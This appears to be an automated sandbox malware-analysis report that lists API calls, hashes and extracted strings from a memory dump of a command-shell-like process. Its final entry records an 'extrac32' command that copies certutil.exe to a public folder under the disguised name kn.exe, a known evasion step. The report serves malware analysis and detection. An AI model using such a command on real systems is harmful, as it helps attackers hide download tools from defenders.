                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3F8075
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F80D6
                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3F80EA
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3F8177
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3F819A
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3F81BD
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3F81DC
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3F81FB
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3F821A
                                                    • _wcsnicmp.MSVCRT ref: 00007FF6BF3F8239
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F8291
                                                    • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F82D7
                                                    • FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F82FB
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F831A
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F8364
                                                    • RtlFreeHeap.NTDLL ref: 00007FF6BF3F8378
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F839A
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F83AE
                                                    • AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F83E6
                                                    • ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F8403
                                                    • ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6BF3F8418
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
                                                    • String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
                                                    • API String ID: 3637805771-3100821235
                                                    • Opcode ID: e6cb887516591751d838279dfb6f73a977c9c7224b6493b327e80fb3c94782b6
                                                    • Instruction ID: 0a8ebf13aa6d185f39eea82a8c74663d131b9742491d6910bb1d1a9075204227
                                                    • Opcode Fuzzy Hash: e6cb887516591751d838279dfb6f73a977c9c7224b6493b327e80fb3c94782b6
                                                    • Instruction Fuzzy Hash: C5E1CF32A08A529AE7548FA9E8041BD7BA1FF59B94B449231CF1EC77B1EF7CA404C740
                                                    Function 00007FF6BF3D3F90 Relevance: 60.8, APIs: 32, Strings: 2, Instructions: 1302fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Filememset$Attributes$ErrorLast$AllocCopyFindFirstVirtualwcschr
                                                    • String ID: %s$%s
                                                    • API String ID: 3623545644-3518022669
                                                    • Opcode ID: eb6ac1f09caa6f1e312a2d23d751c7def4113e850203b77677b5d6367ed255d4
                                                    • Instruction ID: 073ee24d5af9230044537e4136d22e2f33e20fdc37760dc8b76b9d09064ca9da
                                                    • Opcode Fuzzy Hash: eb6ac1f09caa6f1e312a2d23d751c7def4113e850203b77677b5d6367ed255d4
                                                    • Instruction Fuzzy Hash: 84D29336A086828AEBA49BA9E4802BD77A1FF45744F144135DB4ECBBB5DF3CE944C740
                                                    Function 00007FF6BF3D2C48 Relevance: 60.1, APIs: 32, Strings: 2, Instructions: 633COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$memset$BufferMode$FullInfoNamePathScreen$CharacterCursorErrorFillFlushHandleInputLastOutputPositionWrite_getch_wcsicmpwcschrwcsrchr
                                                    • String ID: %9d$%s
                                                    • API String ID: 4286035211-3662383364
                                                    • Opcode ID: 61b27ca8b3239945596bad14bd7a0189cef10c291a2db1f54d547116b75f0017
                                                    • Instruction ID: 55c2ee2b1b573ccd676640fd4cc2ba8a5efef2d7b290cbf29c11fc74998cdd74
                                                    • Opcode Fuzzy Hash: 61b27ca8b3239945596bad14bd7a0189cef10c291a2db1f54d547116b75f0017
                                                    • Instruction Fuzzy Hash: 0552B336A08B828AEB649FACE8502F977A0FF95798F404135DB0E8B7A5DF3CD5458740
                                                    Function 00007FF6BF3E18D4 Relevance: 42.6, APIs: 23, Strings: 1, Instructions: 644COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcsrchr$towlower
                                                    • String ID: fdpnxsatz
                                                    • API String ID: 3267374428-1106894203
                                                    • Opcode ID: 4d289080c925d94ee40dfd5c740acf21fb6c185afaabc48c5a913d1d7a14547b
                                                    • Instruction ID: 57622f7f98d8b81ebf20b5fd0c39b0c5d6edea538aa57b55d848873887969c74
                                                    • Opcode Fuzzy Hash: 4d289080c925d94ee40dfd5c740acf21fb6c185afaabc48c5a913d1d7a14547b
                                                    • Instruction Fuzzy Hash: 7D42E132B2868285EB649FA995002B977A1FF45B94F449035DF4E8B7E8DF3CEC418390
                                                    Function 00007FF6BF3D7650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
                                                    • String ID: DPATH
                                                    • API String ID: 95024817-2010427443
                                                    • Opcode ID: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
                                                    • Instruction ID: ba517cc8099b0c702abcb2902b3c2abd590d279ce5f48de00be0ea9450232412
                                                    • Opcode Fuzzy Hash: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
                                                    • Instruction Fuzzy Hash: 3B12B532A1868286EBA49FA9E440179BBA1FB89754F445135EF5ECB7B5DF3CD800CB40
                                                    Function 00007FF6BF3D5240 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 503COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: [...]$ [..]$ [.]$...$:
                                                    • API String ID: 0-1980097535
                                                    • Opcode ID: b4f7b18fcade78829ab7640c0e3796605864497f0bac3bc258d57cc8563df65d
                                                    • Instruction ID: c4954042a08c34d6561aeb1c0f4c35029dd675311932f41f0b4c5cb6b8ad88d2
                                                    • Opcode Fuzzy Hash: b4f7b18fcade78829ab7640c0e3796605864497f0bac3bc258d57cc8563df65d
                                                    • Instruction Fuzzy Hash: 5C329D76A0878286EBA0DFA9E8406F937A0EB45788F414135DB1D8B7A5DF3CE545C780
                                                    Function 00007FF6BF3D6EE4 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 342timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Time$File$System$DateDefaultFormatInfoLocalLocaleUsermemmoverealloc
                                                    • String ID: %02d%s%02d%s%02d$%s $%s %s $.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
                                                    • API String ID: 1795611712-3662956551
                                                    • Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
                                                    • Instruction ID: 189d61d7167ed93c96924e6ad41907160440ce0171a97e3f35c83958fb337ecd
                                                    • Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
                                                    • Instruction Fuzzy Hash: 5DE19065E0864286E7A09BEDE8402F96BA1FF48784F545132DB0EDB6B6DF3CE545C380
                                                    Function 00007FF6BF3FEE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _wcsupr.MSVCRT ref: 00007FF6BF3FEF33
                                                    • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FEF98
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FEFA9
                                                    • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FEFBF
                                                    • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF6BF3FEFDC
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FEFED
                                                    • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF003
                                                    • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF022
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF083
                                                    • FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF092
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF0A5
                                                    • towupper.MSVCRT(?,?,?,?,?,?), ref: 00007FF6BF3FF0DB
                                                    • wcschr.MSVCRT(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF135
                                                    • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF16C
                                                    • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3FF185
                                                      • Part of subcall function 00007FF6BF3E01B8: _get_osfhandle.MSVCRT ref: 00007FF6BF3E01C4
                                                      • Part of subcall function 00007FF6BF3E01B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E01D6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
                                                    • String ID: <noalias>$CMD.EXE
                                                    • API String ID: 1161012917-1690691951
                                                    • Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
                                                    • Instruction ID: 606aa0fe9bea57b6d0e45c48d4cb3daeb4c7d0498af03f5d8155154443c09506
                                                    • Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
                                                    • Instruction Fuzzy Hash: 38919022F096528AFB549BB8E8001BD3BA0AF59B54F488235DF0E9A7F5DF7CA445C350
                                                    Function 00007FF6BF3D32B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E3578: _get_osfhandle.MSVCRT ref: 00007FF6BF3E3584
                                                      • Part of subcall function 00007FF6BF3E3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E359C
                                                      • Part of subcall function 00007FF6BF3E3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35C3
                                                      • Part of subcall function 00007FF6BF3E3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35D9
                                                      • Part of subcall function 00007FF6BF3E3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E35ED
                                                      • Part of subcall function 00007FF6BF3E3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF6BF3D32E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF6BF3E3602
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3D32F3
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000014,?,?,0000002F,00007FF6BF3D32A4), ref: 00007FF6BF3D3309
                                                    • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF6BF3D3384
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3F11DF
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
                                                    • String ID:
                                                    • API String ID: 611521582-0
                                                    • Opcode ID: 273daed2c2834dfc8b6dfef377a9808402fe7d58939b34531bf6f611b2348d3e
                                                    • Instruction ID: da6b63bb78ad20bb6c9760feac9e186d8ae1bb9208a1249f858e64872ceb303d
                                                    • Opcode Fuzzy Hash: 273daed2c2834dfc8b6dfef377a9808402fe7d58939b34531bf6f611b2348d3e
                                                    • Instruction Fuzzy Hash: 68A19C32F186128AFB149BA9A8042BD6BA1FB89B55F444135DF0ECB7A1DF7CE845C740
                                                    Function 00007FF6BF3D1560 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 338fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Find$File$CloseFirstmemset$AttributesErrorLastNext
                                                    • String ID: \\?\
                                                    • API String ID: 628682198-4282027825
                                                    • Opcode ID: bfecd11a4866ca550013cb8df7d01d0eb9b862476b4829b349704babc3ba77e1
                                                    • Instruction ID: cd99f1ea5483795c475232d53fba0f29e5cf4734da257dbc74193452c7cde2c9
                                                    • Opcode Fuzzy Hash: bfecd11a4866ca550013cb8df7d01d0eb9b862476b4829b349704babc3ba77e1
                                                    • Instruction Fuzzy Hash: 70E19D36A1868296FF649BA8D8502F967A0FB45749F404135EB0E8B7F5EF3CE645C380
                                                    Function 00007FF6BF3FAFBC Relevance: 26.0, APIs: 17, Instructions: 537COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$memset$ErrorFileHeapLast$AllocAttributesCloseFindMoveProcessProgressWith_setjmpiswspacelongjmpwcsrchr
                                                    • String ID:
                                                    • API String ID: 16309207-0
                                                    • Opcode ID: aeb120db068727e28786c75b5313561eaf1c3474a7666ce33f66a1440c033bc1
                                                    • Instruction ID: f96640065cd932f04d3fcf3a181a2f97140597533c363bdc43ce7f770059eede
                                                    • Opcode Fuzzy Hash: aeb120db068727e28786c75b5313561eaf1c3474a7666ce33f66a1440c033bc1
                                                    • Instruction Fuzzy Hash: 2C22AE62B08B8286EF649FA8D8502F977A0FF99784F404135DB0E8BBA5DF3CE5558340
                                                    Function 00007FF6BF3DCE10 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CriticalSection$ConsoleEnterInfoLeaveOutput_tell_wcsicmpmemset
                                                    • String ID: GOTO$extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
                                                    • API String ID: 3863671652-4137775220
